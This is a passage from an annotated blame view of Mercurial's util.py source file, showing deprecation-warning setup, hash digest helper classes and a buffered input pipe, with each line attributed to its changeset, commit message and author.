199 # only use python deprecation warning in this case.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
200 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
201 if _dowarn:
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
202 # explicitly unfilter our warning for python 2.7
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
203 #
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
204 # The option of setting PYTHONWARNINGS in the test runner was investigated.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
205 # However, module name set through PYTHONWARNINGS was exactly matched, so
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
206 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
207 # makes the whole PYTHONWARNINGS thing useless for our usecase.
31952
a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents: 31950
diff changeset
208 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents: 31950
diff changeset
209 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents: 31950
diff changeset
210 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
31950
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
211
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
212 def nouideprecwarn(msg, version, stacklevel=1):
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
213 """Issue an python native deprecation warning
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
214
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
215 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
216 """
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
217 if _dowarn:
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
218 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
219 " update your code.)") % version
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
220 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
221
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
222 DIGESTS = {
29342
c27dc3c31222 util: drop local aliases for md5, sha1, sha256, and sha512
Augie Fackler <raf@durin42.com>
parents: 29324
diff changeset
223 'md5': hashlib.md5,
c27dc3c31222 util: drop local aliases for md5, sha1, sha256, and sha512
Augie Fackler <raf@durin42.com>
parents: 29324
diff changeset
224 'sha1': hashlib.sha1,
c27dc3c31222 util: drop local aliases for md5, sha1, sha256, and sha512
Augie Fackler <raf@durin42.com>
parents: 29324
diff changeset
225 'sha512': hashlib.sha512,
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
226 }
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
227 # List of digest types from strongest to weakest
27357
7f5a0bd4c9aa util: make hashlib import unconditional
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27112
diff changeset
228 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
229
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
230 for k in DIGESTS_BY_STRENGTH:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
231 assert k in DIGESTS
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
232
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
233 class digester(object):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
234 """helper to compute digests.
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
235
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
236 This helper can be used to compute one or more digests given their name.
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
237
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
238 >>> d = digester([b'md5', b'sha1'])
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
239 >>> d.update(b'foo')
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
240 >>> [k for k in sorted(d)]
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
241 ['md5', 'sha1']
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
242 >>> d[b'md5']
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
243 'acbd18db4cc2f85cedef654fccc4a4d8'
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
244 >>> d[b'sha1']
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
245 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
246 >>> digester.preferred([b'md5', b'sha1'])
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
247 'sha1'
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
248 """
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
249
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
250 def __init__(self, digests, s=''):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
251 self._hashes = {}
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
252 for k in digests:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
253 if k not in DIGESTS:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
254 raise Abort(_('unknown digest type: %s') % k)
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
255 self._hashes[k] = DIGESTS[k]()
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
256 if s:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
257 self.update(s)
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
258
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
259 def update(self, data):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
260 for h in self._hashes.values():
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
261 h.update(data)
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
262
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
263 def __getitem__(self, key):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
264 if key not in DIGESTS:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
265 raise Abort(_('unknown digest type: %s') % k)
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
266 return self._hashes[key].hexdigest()
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
267
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
268 def __iter__(self):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
269 return iter(self._hashes)
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
270
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
271 @staticmethod
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
272 def preferred(supported):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
273 """returns the strongest digest type in both supported and DIGESTS."""
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
274
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
275 for k in DIGESTS_BY_STRENGTH:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
276 if k in supported:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
277 return k
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
278 return None
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
279
22963
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
280 class digestchecker(object):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
281 """file handle wrapper that additionally checks content against a given
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
282 size and digests.
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
283
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
284 d = digestchecker(fh, size, {'md5': '...'})
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
285
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
286 When multiple digests are given, all of them are validated.
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
287 """
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
288
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
289 def __init__(self, fh, size, digests):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
290 self._fh = fh
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
291 self._size = size
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
292 self._got = 0
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
293 self._digests = dict(digests)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
294 self._digester = digester(self._digests.keys())
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
295
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
296 def read(self, length=-1):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
297 content = self._fh.read(length)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
298 self._digester.update(content)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
299 self._got += len(content)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
300 return content
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
301
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
302 def validate(self):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
303 if self._size != self._got:
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
304 raise Abort(_('size mismatch: expected %d, got %d') %
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
305 (self._size, self._got))
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
306 for k, v in self._digests.items():
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
307 if v != self._digester[k]:
23076
c312ef382033 i18n: add hint to digest mismatch message
Wagner Bruna <wbruna@softwareexpress.com.br>
parents: 23030
diff changeset
308 # i18n: first parameter is a digest name
22963
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
309 raise Abort(_('%s mismatch: expected %s, got %s') %
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
310 (k, v, self._digester[k]))
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
311
11565
7546d4a272c8 util: improved the check for the existence of the 'buffer' builtin
Renato Cunha <renatoc@gmail.com>
parents: 11469
diff changeset
312 try:
15657
d976b1ef6760 util: don't mess with builtins to emulate buffer()
Matt Mackall <mpm@selenic.com>
parents: 15656
diff changeset
313 buffer = buffer
11565
7546d4a272c8 util: improved the check for the existence of the 'buffer' builtin
Renato Cunha <renatoc@gmail.com>
parents: 11469
diff changeset
314 except NameError:
33549
9a2ee9591acc util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents: 33446
diff changeset
315 def buffer(sliceable, offset=0, length=None):
9a2ee9591acc util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents: 33446
diff changeset
316 if length is not None:
9a2ee9591acc util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents: 33446
diff changeset
317 return memoryview(sliceable)[offset:offset + length]
9a2ee9591acc util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents: 33446
diff changeset
318 return memoryview(sliceable)[offset:]
10756
cb681cc59a8d util: fake the builtin buffer if it's missing (jython)
Ronny Pfannschmidt <Ronny.Pfannschmidt@gmx.de>
parents: 10487
diff changeset
319
34646
238abf65a8ad codemod: use pycompat.isposix
Jun Wu <quark@fb.com>
parents: 34645
diff changeset
320 closefds = pycompat.isposix
10197
29e3c4a7699b subrepo: normalize svn output line-endings
Patrick Mezard <pmezard@gmail.com>
parents: 9996
diff changeset
321
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
322 _chunksize = 4096
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
323
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
324 class bufferedinputpipe(object):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
325 """a manually buffered input pipe
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
326
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
327 Python will not let us use buffered IO and lazy reading with 'polling' at
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
328 the same time. We cannot probe the buffer state and select will not detect
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
329 that data are ready to read if they are already buffered.
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
330
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
331 This class let us work around that by implementing its own buffering
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
332 (allowing efficient readline) while offering a way to know if the buffer is
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
333 empty from the output (allowing collaboration of the buffer with polling).
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
334
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
335 This class lives in the 'util' module because it makes use of the 'os'
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
336 module from the python stdlib.
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
337 """
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
338
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
339 def __init__(self, input):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
340 self._input = input
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
341 self._buffer = []
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
342 self._eof = False
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
343 self._lenbuf = 0
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
344
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
345 @property
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
346 def hasbuffer(self):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
347 """True is any data is currently buffered
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
348
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
349 This will be used externally a pre-step for polling IO. If there is
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
350 already data then no polling should be set in place."""
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
351 return bool(self._buffer)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
352
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
353 @property
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
354 def closed(self):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
355 return self._input.closed
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
356
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
357 def fileno(self):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
358 return self._input.fileno()
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
359
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
360 def close(self):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
361 return self._input.close()
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
362
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
363 def read(self, size):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
364 while (not self._eof) and (self._lenbuf < size):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
365 self._fillbuffer()
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
366 return self._frombuffer(size)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
367
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
368 def readline(self, *args, **kwargs):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
369 if 1 < len(self._buffer):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
370 # this should not happen because both read and readline end with a
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
371 # _frombuffer call that collapse it.
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
372 self._buffer = [''.join(self._buffer)]
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
373 self._lenbuf = len(self._buffer[0])
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
374 lfi = -1
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
375 if self._buffer:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
376 lfi = self._buffer[-1].find('\n')
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
377 while (not self._eof) and lfi < 0:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
378 self._fillbuffer()
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
379 if self._buffer:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
380 lfi = self._buffer[-1].find('\n')
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
381 size = lfi + 1
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
382 if lfi < 0: # end of file
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
383 size = self._lenbuf
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
384 elif 1 < len(self._buffer):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
385 # we need to take previous chunks into account
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
386 size += self._lenbuf - len(self._buffer[-1])
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
387 return self._frombuffer(size)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
388
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
389 def _frombuffer(self, size):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
390 """return at most 'size' data from the buffer
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
391
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
392 The data are removed from the buffer."""
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
393 if size == 0 or not self._buffer:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
394 return ''
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
395 buf = self._buffer[0]
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
396 if 1 < len(self._buffer):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
397 buf = ''.join(self._buffer)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
398
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
399 data = buf[:size]
